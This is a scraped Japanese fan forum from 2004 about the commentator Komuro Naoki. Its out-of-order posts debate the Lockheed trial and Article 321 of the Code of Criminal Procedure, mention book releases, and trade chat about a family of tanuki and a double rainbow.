管理人さんが怖くない人だとわかって、書き込みを続けています。(笑)>ダブルレインボウについてのハワイのいいつたえ、勇気づけられました。
がんばってください。
>☆そうそう、2chでの情報ですが、
『VOICE』誌 9月号に
小室直樹『早坂茂三の死を悼む』が載っているようです。これは凄い、最近一時チェックしていた(文献情報だけをチェック)そのサイトみなくなりましたので、助かります。
ついに発見!完全、復活(ただし、[1]〜[21]を除く)!!
失われていた掲示板の過去ログ[937]〜[1043]です。
http://www.interq.or.jp/sun/atsun/komuro/7.htmlパソコンに保存されていた履歴データをつらつらと眺めている際、発見。
「返信」ボタンを消すなどして、再構成しました。小野寺さん初登場は「ナターシャ」関係だったんですね(笑)。
ダブルレインボウについてのハワイのいいつたえ、勇気づけられました。いやぁ〜過去ログを見ながら、当時を懐かしく思い出しましたよ。
なぜか妙に気になる smさん、お元気ですか?
しまげんさん、バリバリ活躍されてますか?
傘さんや一息さんもお元気ですかなぁ?
Larryさんもかなりの古参ですなぁ(笑)。
☆須藤さん、まことにお手数ですが、現在の7.htmlをこちらの7.htmlに入れ替えておいていただけないでしょうか。
よろしくお願いしますm(__)m。
☆そうそう、2chでの情報ですが、
『VOICE』誌 9月号に
小室直樹『早坂茂三の死を悼む』が載っているようです。![]()
>先日、動物王国の空に大きな虹がかかりましたよ。ダブルレインボウですね。ハワイの言い伝えで、これをみると願いがかなうんだってさ。それを歌った倉木麻衣の「ダブル・レインボウ」という曲があります。
私は、二回目の真珠湾見学のとき、これをみました。ちょっと別の方をみたら、でっかい空母が停泊していました。
ちなみに、スコラの該当ページはp68からp72のようです。また、詳細がわかったらご報告します。
例示列挙だというのが通説だというのが有効な反論だとは嗤わせてくれますな.[3402] 第三者の意見を訊いているのが分からないのか? 投稿者:Angelix 投稿日:2004/08/13(Fri) 17:54:07
確かに,私が初めに制限列挙だと言った事だし,反論といえば反論かも知れないけど,“国外にいる供述者”の解釈に影響を与えるものではない.
大体,例示であるという前提に立っても影響がないと反論したのに,その後に及んで例示であるというのが通説だと示すだけで有効な反論をした気になるとは呆れて物が言えぬ.
矛盾しないというだけのものを裏付けていると解釈するのは強弁としか言いようもなし.
ブロガー本人が来る事はあまり考えられない状況なので,ここで訊くと言うのが,第三者の意見を求めているのは自明のはずだけど?
大体,この掲示板をそんな前のまで読んでいるのなら,私が議論に勝っているなんて見られていないのも自明なはず.どう大本営発表していると言うのさ?
ブロガーが有効な反論をした積もりだという話なら,それはそうだろうとしか言いようがありませんな.(そもそも最後のコメント以降見ていないから訊いた訳だが)
情緒ある虹ですね。
マリリン・マンソンのDisposable Teensを思い出します。And I'm a black rainbow
And I'm an ape of godあのブロガ−はApemanと名乗っているし、何やら、、、、。
今、民法の債権法各論に取り組んでいます。
強引に楽しんでます。
これからもよろしく。
Maysonさん、そんな風に考えることはないと思います。
私は別に雰囲気が壊れたとも思いませんし、
仮に雰囲気が壊れたとしたら、また作ればいいのであって、
消えてしまったら作れないじゃないですか(笑)。それに、一日200前後だった当掲示板のアクセス数も、300前後に増加しましたしね。
![]()
先日、動物王国の空に大きな虹がかかりましたよ。
お互い、またコツコツ勉強しましょう。
【迫害前】
![]()
メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:07:25 18:47:35 画像の幅 x 高さ (容量) 640x480 (54 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明
【迫害後】
![]()
メーカー名 KDDI-SN モデル名 A1402S 撮影日時 2004:08:12 18:09:00 画像の幅 x 高さ (容量) 640x480 (61 kB) 露出モード 自動 フラッシュ フラッシュ機能なし シーン撮影タイプ 標準 被写体距離範囲 不明 ジーちゃん「タヌキが庭を荒らすんで困る。」
バーちゃん「タヌキがバーちゃんのつっかけ(サンダルのこと)をもっていくんで困る。」
カーちゃん「タヌキの苦情をジーちゃんバーちゃんから聞かされて困る。」トーちゃん「…。」
わたし「…。」というわけで、タヌちゃんのねぐらだった場所が破壊されました。
シクシク。
わたしの責任です。悪ふざけがすぎました。
場の雰囲気を壊した責任をとりしばらく消えます。
ほんと、ごめんなさい。
他の方を巻き込むつもりはないので、この投稿で最初の最後にします。[3394]
> それにしても,Google でヒットするどのページを見ても,“供述を取った後に生じた
> 障害”に関して,死亡などの理由を例示していると書いてある事はあっても,最初から
> 国外にいる場合は議論されていないのに,例示だから“初めから国外にいる場合も含ま
> れる”と解釈出来ると述べ立てるのには呆れました.まず、該当するURLをリストアップする手間すらかけずにGoogleの検索結果だ
け挙げて何かを論証するつもりになっているという「知的不誠実」ぶりがひど
い。さらに、その頼みの綱が実はなんの論証にもなっていないことに気づいて
いないのもひどい。
ここで論点となっていたのは、刑訴法321条1項3号にある「〔公判期日外に供
述書を残した証人が〕国外にいるため〔公判で供述できない〕」という要件が、
1)供述書の作成以降に国外に出た場合に限られる
のか、それとも
2)供述書の作成時点ですでに国外にいた場合も含む
のか、というものである。この場合、2)を否定する論拠を挙げようとするな
ら、「供述後に国外に出た場合に限られる」ないし「供述の時点から国外にい
る場合は該当しない」などと書かれているページを挙げなければならない。単
に「最初から国外にいる場合は議論されていない」というだけでは、1)に対す
るごく弱い傍証にしかならないのである。なぜか。「最初から国外にいる場合
は議論されていない」という事態はなるほど1)の傍証であるとも解釈できる
が、同時に
3)「最初から国外にいる」ケースはそもそも希なので、よくある事例を類型化
して論じる場合には無視されている
4)「最初から国外にいる」ケースに適用してもなんの問題もないので、わざわ
ざとりあげていない
のいずれか(ないし両方)を裏づけているとも解釈できるからだ。まあ私の推
測では3)だろう。国外にいる人間には基本的には捜査当局の力が及ばないの
で、日米司法共助にもとづき証人尋問が嘱託されたロッキード事件の捜査のよ
うなケースはそうそうないからである。このように、「最初から国外にいる場
合は議論されていない」ことは、他に補強証拠がなければ1)の論拠にはならな
いのである。つまり1)の主張はそもそも確立されていないわけで、それに対し
て「何か有効な反論はあったでしょうか?」などというのはあつかましいにもほ
どがあろう。ちなみに、ちゃんと「有効な反論」をしておいたので。遡ってみてみると
[3360]
> こっちは,引き写しで十分だという前提で議論しているので,何でこんな事
> も知らないのだ,調べろよなんて思われているようですけど.なんてのもあって、これはあんまりといえばあんまりでしょう…。これからは
ためらわずに「信者」と呼びます。そうでなければ、他人と議論する際に「引
き写しで十分」だという発想は出てこないもの。調べるのがめんどくさいなら
よそで議論を吹っかけばいいとおもうのだが。だいたい「引き写し」ならわざ
わざ書いていただかなくても知ってるんだから。mayson氏の投稿にも勝手な言い分が多いのだが、一つに絞ることにする。
[3364]
> 論点は、憲法、刑事訴訟法についての考え方に要約されると思います。
> 私は、「憲法、刑訴は国民の権利を守るためのもの。」
> 彼は、「憲法、刑訴は秩序を維持するためのもの。」
> という主張の違いに行き着くものだと思います。(結局、この議論には至らなかったの
> ですが、、、)
> 以上が、私とブロガ−の議論の要旨及び根本思想(たぶん)です。やれやれ…。これには既に異議を唱えてあったというのに。
http://academy3.2ch.net/test/read.cgi/sociology/1081587279/397
もう、彼の頭の中では「小室センセイに逆らうやつは憲法知らずの斉東野人
だ」というのがドグマになってしまっていて、なにを言っても説得不可能なん
だろう。こちらがなにを言おうと自説を撤回しない。こういうのを「ローマカ
トリック戦術」と呼ぶらしいですな(笑)では他の方々、失礼いたしました。
イーエスブックでは、また発売日延期になってますね。
またやばいパターンかなあ。著者/訳者名 : 小室直樹/著
出版社名 : PHP研究所 (ISBN:4-569-63828-7)
発売予定日 : 2004年09月27日
販売価格 : 1,890円(税込)
予約状況 : 予約受付中
http://esbooks.yahoo.co.jp/books/detail?accd=R0034038
商品名 : スコラ 昭和59年1月26日(表紙モデル=岩井小百合)
補足情報 : 沢田和美(ヌード)・名取裕子(衝撃!初ヌード 序の舞)・中川みず穂(ヌード)・岩井小百合・小室直樹VS筑紫哲也(5P)・ほか
最後にしたコメントを見れば分かると思うのですが,例のブログの議論から撤退しました.
何か有効な反論はあったでしょうか?
それにしても,Google でヒットするどのページを見ても,“供述を取った後に生じた障害”に関して,死亡などの理由を例示していると書いてある事はあっても,最初から国外にいる場合は議論されていないのに,例示だから“初めから国外にいる場合も含まれる”と解釈出来ると述べ立てるのには呆れました.
国内での手続きに関する規定を,初めから国外にいる場合にも適用するなど,問題外だとも言うべきだったのかも知れませんけど.
逃げたとか,そう言って,勝利宣言しているのでしょうかねえ?
http://www.iond-univ.org/komuro.htmlこれの英語版ですね。
もとは大学のHP
http://www.iond-univ.org/
みなさん,こんにちは.児島です.ウェブ上のテキストで下のリンク先にあるテキストがありました.
内容は大学についてのことでして,以前にどこかで読んだことのあるような内容ですが,英文では初見でした.既出でしたら,もうしわけありません.
それではまた.
近代現代史講座
2004年5月21日
小室直樹 氏 (評論家)
昭和史講義
PHP研究所から小室先生の口述筆記による昭和史が出版予定だ。先生のご好意で、その口述を塾生の前でして下さるとのことで、5月から数度に渡り、ご講義を頂いてる。先生の透徹した歴史観の足元にも及ばないが、昭和という時代の成り立ちが立体的に見えてくる。歴史をもっともっと学びたい。
http://www.mskj.or.jp/katsudou/kenshu0405b.html
本日未明にNHK総合で放送された「Paul McCartney Live in Russia」(BS2で放送したものの再放送)は、たいへんおもしろく、ライブの番組というより、社会科学の番組という感じでした。曲の合間にはソ連時代のビートルズがどのようにうけいれられて、どのようにしてソ連崩壊の下地をつくったかといういろいろな人のインタビューがありました。社会学者のアルミー・トロイツキー氏のことば。
「ビートルズは、西側のどの機関よりソ連崩壊の後押しをした。」60年代、70年代は、西側の音楽は禁止されていたわけですが、いいものは自然にはいっていくんですよね。BBCのラジオからきいたり、アルバムの密輸などが行われ、みんなきいていたそうです。X線写真に感光乳剤を塗るとレコードになるということで、感光板を引き取る業者が繁盛したそうです。そして「骨の写真のレコード」とよばれレントゲン写真で音楽をきいていたというのだから驚きです。
今でも当時のわずかな情報として、小さな彼らの写真の切り抜きをもっている人がいました。当然だれがポールかもわからなかったそうです。
ポールもインタビューで、人気をえるならレコードを禁止すればよいというような冗談をいっていました。
そして彼はプーチンともあって、「ビートルズをきいて育ちましたか」という質問をしたらそうだということです。自分が取り締まる方だったんではないでしょうか。つまり国の役人もみんな西側のものをうけいれていたっていうことですね。むしろ特権でできたかもしれない。ところがタテマエはマルクス主義一辺倒。まるで小室先生の本を読んでいるような感じです。
小室先生はかつてずいぶん前からソ連崩壊はわかっていたとこたえていますが、その理由として国営であるテレビ番組と有料である映画を比較して、映画がすべて西側のものになったからということでした。それは音楽にもいえるわけです。しかも、ロック音楽はまだ非業法でしたから危険を冒してまできいたり歌ったりしていたわけです。パーティでは必ずビートルズソングが歌われたそうです。
ライブ中涙を流す年配の方がいました。Back in the USSRが歌われたとき聴衆の気持ちはどんなものだったでしょう。
ポールもインタビューで、「60年代に、将来赤の広場でライブをやってロシアの首脳にあうなんていったらだれも信じなかったでしょう。」といっていました。小室先生もよく時代の変化の激しさを説明するときにこのような言い方をしますね。天才は共通するところがあるのかななんてちょっと思いました。画面をみていると昔軍事パレードが行われた場所にステージがあり、多くの聴衆がビートルズ音楽をきいているのをみて感慨深く思いました。
私のライフワークである小室直樹とビートルズが完全に重なった思いです。
書名「人類の月面着陸は無かったろう論」
著者 副島隆彦
出版社 徳間書店
第一刷 2004年6月30日
p188 6行目から
(引用開始)
あの敗戦直後の急性アノミーについては、小室直樹先生がずっと研究した。
(引用終わり)ではでは。
刑事訴訟法の先生に直接,問題を抽象化して訊いてみるのが一番良いのでしょうけど,私には誰れが良いのか分かりませんからねえ.
村上さん以外に専門家と言える人はいないのか知らん?
ちょっと今の私には無理ですなぁ。裁定者のいない、そしてときどき理性的でない議論に参加することは、気持ちをかき乱されることを意味します。
タヌキ村のサナトリウムで療養中の私が今すべきこと。
それは心の平静を保って資格試験のための勉強することですから。
吾泣きぬれてタヌとたわむれつつ…。小野寺さん、お心遣い本当にスンマソン(おさる改めモンキッキ)。
>村上さんに,正統な解釈は斯くの如しと,私の論もブロガーの論も一刀両断にして貰えると有難いのだけど…私が言うことではないのですが、村上さんには試験勉強に専念させてあげてください。ご自分でもおっしゃっていましたが、この掲示板は憩いの場ということなので、たぬきの話などならいいと思いますが。
まだメールならば多少込み入った話もできるでしょうが、ネットで振られるとプレッシャーになります。うまく断るのだって気を使うと思いますよ(笑)
法律の話だから司法試験に関係するといってもそういうことでもないでしょう。相手のあることですから、このHP管理者としても、ねちっこい相手との論争にまきこまれていくのはたいへんだと思います。
立花隆氏の論はともかく,正統な法律家の正統な解釈が知りたいところ.
私がやって,どんどん無茶苦茶になっていっている感じ.
村上さんに,正統な解釈は斯くの如しと,私の論もブロガーの論も一刀両断にして貰えると有難いのだけど…
何方か,例のブロガーにどう答えるべきかについて助言頂けませんでしょうか?(と言いながら書いているのですけどね.)
塩谷さんの言う事は尤もだとは思うのですが,その通りに出来ないでいます.読者諸氏には申し訳ない話ですけど.
それより,貴方の文章が載っていませんね.
P.S.またコメントを書いてしまいました.
外国の刑事訴訟法における嘱託尋問調書の問題は,立花隆氏も調べていなかったのか知らん?
英米法の伝聞例外やフランス法での書証排除の例外でかかる話もされていなさそうな感触です.
ロッキード裁判批判言説がいかに「事実」を無視しているか。「ロッキード裁判は暗黒裁判である」とする批判論者に疑問を抱く管理人は以下の問いを示した。私は勝手に答えました。問1
>事実誤認に基づき個別の裁判における有罪判決を批判した
>からといって、それは近代法の原則に則り被告人の権利を
>擁護することにならない、ということが理解できるか?日本語が変です。しかし「読書日記」は明快な文章であった。事実誤認に基づいて、有罪判決を批判することは被告人の権利を擁護しない。意味がわかりません。
問2
刑事事件の中でも収賄のような権力者の犯罪については、それを厳正かつ公正に追求することがすなわち公権力から国民を護ることにつながる、ということが理解できるか? しきりと「角も縛る法は丸も三角も縛る」ということを強調するが、権力者ほど法の裁きを逃れるという傾向、すなわち「丸も三角も縛る法が、なかなか角は縛らない」という現実は認めないのか? 具体的な根拠無きロッキード裁判批判は、「被告人になる可能性のあるすべての国民の権利」を護ることではなく、むしろあらゆる手段を使って法の裁きを逃れようとする権力者に手を貸すことになる、ということが理解できるか?筆者が権力者の収賄事件については特に厳罰を処すべきという「考え」に依拠する理由は何ですか。意図が分かりかねます。
そしてその「考え」の基準はなんですか。また、「権力者」という言葉は、どのような意味合いによって使われておるのですか。権力者の犯罪、特に現況して捕捉率の低い収賄事件への厳罰が、「国民」の利益を守る。この意味での「国民」とはどういう意味ですか。問3
要するに、こちらの目標は「法の下の平等」という理念を実現することだ、ということが理解できるか? 「 政治権力者の処分は,刑事裁判ではなく, 国会の問題です」(Angelix氏のコメントより)というような発想は政治的責任と刑事責任とを混同し、政治家が刑事責任を回避することを容認するロジックであることが理解できるか? 政治家の刑事責任を厳正かつ公正に追及することは「 政界浄化の名の下に,刑事訴訟法を曲げる」(同じくAngelix氏のコメントより)ことなどではさらさらなく、単に「法の下の平等」という理念に基づく行動であることが理解できるか?「こちらの目標」とはどちらの目標ですか。理念とは「人が考える最高の考え」をいいます。どの人ですか。明示してください。政治家、特に為政者の犯罪は何を持っても厳罰に処すべきである。では、「憲法の理念」とは何ですか。憲法は誰が守るべきものですか。また、権力者とは三権分立の考えから、政治権力、行政権力、司法権力があります。政治家の収賄事件の徹底厳罰は、特に日本では行政権の肥大につながっています。
思うに,かって国会法78条削除の結果、国会内発言は刑事責任を問われるという厳罰徹底によって、国民の代表である国会において自由な国民を守る自由活発な議論という活動が実質的にできないでいるという根本的な視点があります。
それは、行政権、司法権に対する政治権力の相対的低下によってバランスを欠いている。また、第四の権力としてのマスコミにおいては、その行政権力の圧政に対して、チェックアンドバランスになりえていない。これが発言の一つの基準になっていると思います。つまりシステム論の観点から議論を積み重ねているのです。三権分立というチェックアンドバランス機能が崩れ,日本においては現実に行政権力がやりたい放題という有り様は、だれもが周知の事実でしょう。行政が行政機能上刑事責任を問われにくいことによって、一般の国民に不利益を与えている現状と対称に国会では政治家への些細な厳罰主義によってその行政権の肥大による国民の利益の損失を食い止めることができないという視点であります。
問4
ロ裁判批判論者は刑訴法321条それ自体が違憲だと主張しているのか、それとも321条自体は合憲だがコーチャン等への嘱託尋問調書はその要件を満たさないと考えているのか。(いずれを選ぶかで議論のフィールドは全く異なってくることになる。ちなみにmayson氏がこの問いに答えられないのは、さすがに321条をそっくり違憲だとする覚悟はないものの、それ以外に嘱託尋問調書を斥けるロジックを思いつかないからであると推測している。)違憲・合憲に対する明確な基準は何か。その明確な基準を教えてください。一方は「刑事訴訟法の役割は何か」というシステム論からの日本特有のシステムの弊害の問題が第一義であるという発言であり,他方は、「権力者の刑事責任の厳罰主義」という近代民主主義にあり方は日本においても現状当然自然に機能しているという視点と形式論理の視点からの発言である。
その基準によってお互い目的が異なるから議論にもならない。問5
・コーチャン等の嘱託尋問調書が「伝聞法則」の例外として証拠採用可能かどうかを論じているときに、ペリー・メイスンシリーズの「オウム」のエピソードなどをひきあいに出し、伝聞法則を強調したところで何の意味もないことは理解できるか?立花隆氏の関連著作第1巻後半から第2巻における議論でしょうか。
私には意味がわかりません。問6
刑訴法226条にもとづく証人尋問が捜査段階で行われるものであって、その調書が公判に提出されることを226条は必ずしも前提としてはいないこと、調書は直ちに検察側に引き渡され、公判で検察側が証拠申請することによってはじめて公判という場に登場すること、が理解できるか?この問題点はなんですか。
後の問いはロッキードに関する立花さんの著作の構成と一致した質問なので。どちらが論破したか否かは関心がないことと専門知識がありませんので略。お恐れ申し上げます。
最後の問
・小室直樹と渡部昇一の文献だけを読み立花隆の文献については全く読んでいないのに、前二者のロ裁判批判論を盲信するのであれば「信者」と揶揄されてもしかたないと思うが、どうか?思うに、三つとも意見でしょう。前者は主に社会科学理論におけるシステム論の観点から演繹的、帰納的に論理を積み重ねているのでしょう。自然法則はこうだというようなものです。
「天気について一般の人は議論予測はするが、誰も天気を変えることはできない」これは東大の入試問題でみました。天気はどういうものかわかりましたが、その天気を「曇り」から「晴れ」に社会システム論によって変えることはできるのでしょうか。自然法則の都合があると思いますが。
後者は関わるあらゆる直接的な視点から三段論法の誤謬の発見によって現実的価値の弱さを提示し組み立てる。以下の記述に典型。あらゆる利益の諸座を与した現実的妥当性に視点があるともいうのでしょうか。
「どんなに小さくても無視されてはならない法益として具体的に何があり、そのうちのどれが検察側の論理の中で、単なる比較考量の対象の結果として退けられてしまったかということを述べねばならない。」
参考にさせていただきました。
http://homepage.mac.com/biogon_21/iblog/B1604743443/C646496243/E1644721157/考えるに,本裁判批判論の方は微罪とするもの(収賄)によって失われた公益(政治家田中角栄が民主主義の機能を果し得る役割としてこれからの功績)が余りにも大きかったと言っているのでしょう。私としては、この議論はいささか理念論あるいは、システム論に特化した現実的な適法あるいは適性能力が欠ける論である気がします。
また、続けると、行政権の更なる肥大を招き、国民の利益が著しく蹂躙されていると考える。論理の基準は社会システム論でしょう。よって、その裁判はそのような逸材を葬り去り行政権力の圧政を招くゆえ暗黒裁判である。
思うに、どのご時世もそうですが、社会システム論者の理念論は現場感覚がないのですね。つまり社会性がない。よくある問題です。自分の考えが社会に反省するすべがないということです。これが、根本的な視点でしょう。つまり実は責任を感じて発言することがないということです。パラドックスですが。よくあることです。
この逆説がマックスウ゛ェーバーの本質的問題でしょうか。責任の徹底をおっしゃる人が実は責任ある立場にいない。これが本質なのでしょうか。あくまでこれは、私の発見ですが。
どれが正しいというのは、わかりませんね。
一国民からみれば、田中政治によって命まで奪われた人はいるであろうし(市場)、公共投資による乱開発によって、直線交通ほかで日本的風景が失われたという文化的頽廃の視点(市場)もあるし,田中氏の存在は、時代的要請(市場)であったともいえるであろうし、政的に敗れたという政治家としての限界(競合)かもしれませんし、
裁判で田中氏の公益が与され,田中角栄が厳罰に処されなかったとしたら、昨今日本はどうなっていたか。田中氏は病気で早逝しなかったか(自社)。プレゼンテーション構築ではよく市場、競合、自社をみますが、あてはめると私には分かりやすいです。自社が弱い。そしてそのマーケティングの根拠が分析的ではなく,自然法則のレベルであります。ならば第二の田中角栄も次に現れるでしょう。いや、憂うなら自分がなればいい。
一方で、当時の時代性、現場性を踏まえて,検事は妥当な仕事をしたのでしょう。「暗黒裁判である故、法益の価値を鑑み角栄は無罪である」。そこまでの思念をもった理念をもって公益を優先し、それ以後の国家のあり方を守った歴史はあるのですか。そのモデルケースはあるのでしょうか。立花氏において、弁護団論理の問題であって,つまり理由を示す。対案を提示するという大切な過程が抜けている。それでは議論にならない。これは著者の現実的なバランス感覚を物語っているのでしょう。素晴らしいと思います。
管理人はいうまでもなく、「ロッキード裁判は適正手続きではなく暗黒裁判である」という批判言説に疑問を抱いているのであって,本裁判に関する自分の意見が絶対だとは思われていないでしょう。政治家の収賄事件は厳罰に処すべきという考えは、国民の利益を守るものだ。それが第一義である。私から質問です。この考えにいきついたあなたのルーツを教えてください。論理的にいきついたからとうわけではなく、その考えの基準を明示してください。
以上。
Angelixさんにたいして。
脱力せずに自分の言葉で自分の考えの「基準」、その「理由」、そして批判するなら「対案の明示」。きちんと反論した方がいいと思います。
今日は脱力して,やる気も失せたけど,反論しないと,論破されたと見なされるからなあ…てな感じです.
かといって,文章をきちんと書いて反論していこうとすると神経がもたない.
おはようございます。
Angelixさん、私ごときに、ご丁寧に恐れ入ります。「角を縛る法は丸も三角も縛る」と「丸と三角を縛る法が角を縛らない(ことが多い)」は、法の下の平等を違う方向から問題にしているだけで、食い違いはないように思ったものですから。
全く,裁判問題で有罪を主張していれば良かったのに,調子の乗って,愚かな事を言い出して,こっちを脱力させてしまう.
コメントしてみます?(私は逃げると株が下がると言ったけど,読んでいて,あまりに馬鹿なので,こっちの書く気が失せてしまった.)http://homepage.mac.com/biogon_21/iblog/B1604743443/C646496243/E2049861082/
どうも,きちんと見ていなかったようなので,質問して誤りを正すきっかけを与えてくれた事を感謝したいと思います.
有り難うございます.P.S.またブロガーが何か書いている.
権力者の刑事責任を厳しく問う事が国民を守る事につながると思っているらしい.
ここまでくると,言葉が全く通じない感じだな.
>ブロガーが一体どんな本を読んで来たのか知らないけど,こういう話も知らない様では,ロッキード裁判論争の勝敗に関係なく,近代民主主義の何たるかも分からない奴と言われても仕方ないですね.これはちょっとずれすぎか?
ただ,どうこう言いながら,政治責任の問題を刑事裁判で解決出来ると期待してその通りになったと思っていたようですねえ.
どちらにしても,脱力ものの書き込みです.
飛ばし読みして勘違いしてしまったようです.
ロッキード裁判問題なんか消し飛ぶような慄然とするような話なら,“田中角栄の呪い”の“角栄学講座5 田中角栄は無罪である”の“日本を支配する二つの恐るべき前例”という節に述べられています.
例えば,
>指揮権発動しても,内閣は総辞職しなくてよろしい.
とか,
>客観的にどれほど有罪が確実であろうとも,そのうえ,これを裏付ける証言が議会でなされようとも,裁判においてさえ有罪にならなければ,その人は,政治的にも完全に免責される.
とか.
ブロガーが一体どんな本を読んで来たのか知らないけど,こういう話も知らない様では,ロッキード裁判論争の勝敗に関係なく,近代民主主義の何たるかも分からない奴と言われても仕方ないですね.
ブロガーは,政治責任の問題を刑事裁判に明らかに持ち込んでいますねえ.
田中角栄によってもたらされた民主主義の危機とその大罪という事に関しては,“田中角栄の呪い”の“角栄学講座6 創価学会問題の角栄は大罪”(政権党幹事長だった当時の創価学会批判本への言論介入)というので論じられていますが,そっちはどう捉えているのでしょう?
それはともかく,ロッキード裁判において角栄をひっくくれるかどうかが瀬戸際だった…なんて…
ロッキード事件について疑われているだけでも政治的には賄賂を取ったも同じ事なんですから,何故に,選挙で当選した(政治責任の免責を意味する)事の方を問題にしないのやら.
政治的に葬り去る事が出来ていないのに,裁判での勝利に酔いしれているとしか思えません.
>それと、彼のその後の投稿は、日本人の憲法意識を知るうえでなかなか興味をひくものでは?などと思えてきました。おもしろいですね。
法社会学の対象にしてしまうのもいいですね。「日本人の(憲)法意識」ですね。
有意義な議論ねえ…私は,法律家が皆賛同したらしいという理由により,渡部昇一教授の本だけで議論して,苦戦を強いられていて(その上,そのせいで疲れて退場したと取られても仕方のない様),実際に有意義かどうかなど気が回りませんけど…(私も法律素人)>さらに、裁判批判派は「丸や三角を縛る法が角を滅多に縛らない」という現実の方にはほおかむりをしている。
と書かれています.
まあ,飛ばし読みなので,まあ,貴方の質問が正しくて,文脈に従っていない可能性も確かに否定出来ませんねえ.
貴方ならどう捉えますか?
後,
>至らない一介の学生でありますが、よろしくお願い致します。
などと頭を下げる必要はありません.私もそんなに威張れた身分ではないので.
初めまして。
調べものをしていてこちらの掲示板を見つけました。(ちなみに学生です)
有意義な議論の場をもたれているようで、ぜひ参考にさせていただきたく存じます。
最近こちらで話題にしていらっしゃるブログを見てまいりました。
Angelixさんにお尋ねしたいのですが、
「角を縛る法律は丸や三角までも滅多には縛らない…だって…」
と書いていらっしゃいますが、問題のブログ記事を何度も読み返してみたのですが、
この内容に該当する部分を見つけることができませんでした…。
つきましては、ご教示を仰ぎたくこちらに書き込ませていただきました。
至らない一介の学生でありますが、よろしくお願い致します。
小野寺さん。返信有難うございます。
しかし、暑いですね、、、。
本を読んでると、ページが汗でふやけてしまい、いつもよりも知識を多く得たような錯覚を起こしてしまいます。さて、>このへんになりますと小室文献を読んでいるものとしてはわかりやすいのですが、読んでない人にはまずここのところをご説明することが重要かと思います。
全くそのとうりですね。私もブロガ−に対してこのへんから議論をしていけば有意義なものとなったと思いますが、ロッキード裁判という議論の対象が時事的なものであるので、どうしても判例やその当時の識者の発言に対する指摘が多くなってしまい、根本的な問題からずいぶんずれた議論となってしまいました。
私は小室先生のバックボーンはその豊富な歴史に対する知識であると思います。(その師匠である大塚久雄博士がそうであったように。)小室先生の憲法に対する主張も重厚な歴史の叙述から始めておられました。
また、最近読んだ芦部先生の「憲法」もその成立の歴史から始まります。
歴史認識を欠いた議論は、憲法議論としては2流、3流ですね。
自分の勉強不足を反省する材料として、今回の議論は役立てようと思います。
それと、彼のその後の投稿は、日本人の憲法意識を知るうえでなかなか興味をひくものでは?などと思えてきました。
私にとってそれなりに有益だったのですね。>あまり相手の態度などに敏感にならないほうがよろしいかと思ったしだいです。
お心遣い、感謝いたします。
ずいぶん救われた心持です。
この暑さに負けず、自己研鑽に励みたいと思います。ところで、タマちゃん(あざらし。たけし軍団ではない。)はどこへいったのでしょうか?
村上さんのタヌちゃんで思い出してしまいました。失礼。
> そちらに台風がいるようですね。だいじょうぶですか。ありがとうございます。
雨は相変わらず振っていますが、風はなくなりました。> タヌちゃんはどうしているでしょう。
二日前、あの二匹がササッと巣に戻るところを見ました。
あの写真に写った板の下です。
板を設置した父に聞くと、板の下には排水用の土管があります。
ということで、タヌちゃんの巣は土管だと思われます。この台風の雨水で、流されていないことを祈るのみですなぁ。
ウォータースライダーごっこでもして楽しんでいてくれればいいんですが。
そちらに台風がいるようですね。だいじょうぶですか。
タヌちゃんはどうしているでしょう。
じゅうぶん気をつけてください。今夜は家にいたほうがよろしいかと。
角を縛る法律は丸や三角までも滅多には縛らない…だって…
クルップ法なんかのような特別法じゃないんだぞ!
全く,苦しい議論をしているなと自分でも思っていたけど,ブロガーは馬鹿過ぎ.(偽証するオウムのたとえに対する受け答えもおかしかったが.)
一日かけて文章を書く人間には,今の私は敵いませんね.
でも,逃げると株が下がるのですよねえ.
あまり人の来るサイトではないにしても,Googleランキングでは上位に表示されたりしますから.
小室直樹大先生は、ロッキードだの金権政治だのばかり話題になって、創価学会問題での言論介入の方がきれいさっぱり忘れ去られるとは一体何事だと言っていましたね.(田中角栄の呪い)
汚職腐敗は民主政治にはつきものだし,政治責任も軽いものだ.それに対して言論への介入は,泥棒が刑事を操るようなものであり,絶対に許されないのだと.
Maysonさん、たいへんありがとうございました。だいぶすっきりとしてまいりました。(あのブログは全体の流れがつかみづらいような)
もちろんひとつひとつのことに関しては、訴訟法の全体像を知らないとピンとこない点もありますが、少なくとも今回の議論を理解するテキストとして、これをもとに勉強できるものと思います。>以上が、私とブロガ−の議論の要旨及び根本思想(たぶん)です。
>Angelixさんとの議論の核心も同様のものだと思います。このへんになりますと小室文献を読んでいるものとしてはわかりやすいのですが、読んでない人にはまずここのところをご説明することが重要かと思います。
日本の法解釈学だけを学んだ人に、小室先生の考え方をわかってもらうのは至難の業であることは、それ自体一つの法則のような気がします。
小室先生は、なにも法律学の範疇だけでものごとをみていませんよね。日本のある法律が近代法というタテマエであるならば、その近代法というものがどういうものか西欧の歴史(法以外の歴史を含む)から解き明かし、それ以外のものと比較したりしながら展開していきます。そこには社会学、政治学、ウェーバーの方法などの手法が使われますね。
目の前にある条文だけをみている場合と、歴史にさかのぼって現在の日本のその法律をどう解釈すべきかを高いところからみている場合ではやはり子供と大人がけんかしているような感じでかみあわなくて当然ですよね。226条のあたりは、これがひとつの核心部分だとすれば、私などのレベルからすれば、まず、訴訟法の流れのなかでこの条文がどういう位置にあって、通常の運用ではどういうふうに使われていて、一般的なテキストではどのように解説されているかを調べた上で、今回の事案では通常とどう違うのか、と次々に疑問がわいてきます。この辺は皆さんは自明の理ということかもしれませんね。ただ原点にたちかえると案外みえなかったことがみえてくることもあるかもしれません。
それと法解釈は、どちら側にたつかということで当然いろいろな理屈をこねられます。ディベートのように同じ弁護士が反対の方にたったら全く違う理論を展開することでしょう。だからある意味、目的がはっきりしている方が一貫した理屈を主張しやすいような気がします。
小室先生は別に角栄を100%評価しているわけではなく、その外交などの手腕を日本のために使わない手はないということで擁護したのがひとつの弁護をする理由となっていました。そしてその理論展開に使用したのが近代法のタテマエですよね。
もし、角栄を有罪にする側に小室先生がついたら、小室先生のことだから有能な検事として理論展開されたことでしょう。裁判なんてこういうことではないんですかね。
Maysonさんたちは、おそらく近代法の考え方をわかってもらいたいというところが本音だと思いますが、弁論で「なにがなんでも相手に勝つ」という情熱のようなものをもっていると思われる人には圧倒されてしまうのはしかたのないことなのかなという気がします。そういうことと理論でどちらが大切なことをいっているかということとは違うと思いますので、あまり相手の態度なのに敏感にならないほうがよろしいかと思ったしだいです。
論点は、憲法、刑事訴訟法についての考え方に要約されると思います。
